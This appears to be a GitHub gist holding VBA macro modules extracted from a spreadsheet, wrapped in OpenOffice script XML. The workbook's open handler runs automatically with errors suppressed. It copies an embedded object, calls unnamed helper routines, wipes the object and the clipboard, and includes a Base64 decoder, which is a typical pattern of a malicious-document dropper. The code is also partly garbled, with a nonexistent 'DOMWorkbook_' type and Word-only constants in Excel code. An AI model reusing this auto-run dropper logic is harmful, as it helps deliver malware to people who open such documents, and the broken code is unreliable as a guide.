</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm6" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule
Option VBASupport 1
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm4" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule
Option VBASupport 1
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm3" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule
Option VBASupport 1
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm1" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule
Option VBASupport 1
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm2" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule
Option VBASupport 1
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="xcvxvxv" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub cek()
ActiveSheet.Shapes.Range(Array(&quot;Object 3&quot;)).Select
Selection.Delete
Selection.Cut
Set D = New DataObject
D.SetText &quot; &quot;
D.PutInClipboard
Selection.MoveUp Unit:=wdScreen, Count:=7
Selection.MoveUp Unit:=wdScreen, Count:=7
Selection.MoveLeft Unit:=wdCharacter, Count:=13
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now &gt;= DateAdd(&quot;s&quot;, 3, t)
End Sub
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Лист1" script:language="StarBasic" script:moduleType="document">Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
</script:module><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="ЭтаКнига" script:language="StarBasic" script:moduleType="document">Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Private Sub Workbook_Open()
On Error Resume Next
ActiveSheet.Shapes.Range(Array(&quot;Object 3&quot;)).Select
Selection.Copy
Call sdfsdf
Call cek
Call killo
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()
Dim objXML As MSXML2.DOMWorkbook_
Dim objNode As MSXML2.IXMLDOMElement
Set objXML = New MSXML2.DOMWorkbook_
Set objNode = objXML.createElement(&quot;b64&quot;)
objNode.DataType = &quot;bin.base64&quot;
objNode.Text = strData
DecodeBase64 = objNode.nodeTypedValue
Set objNode = Nothing
Set objXML = Nothing
End Function
</script:module>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment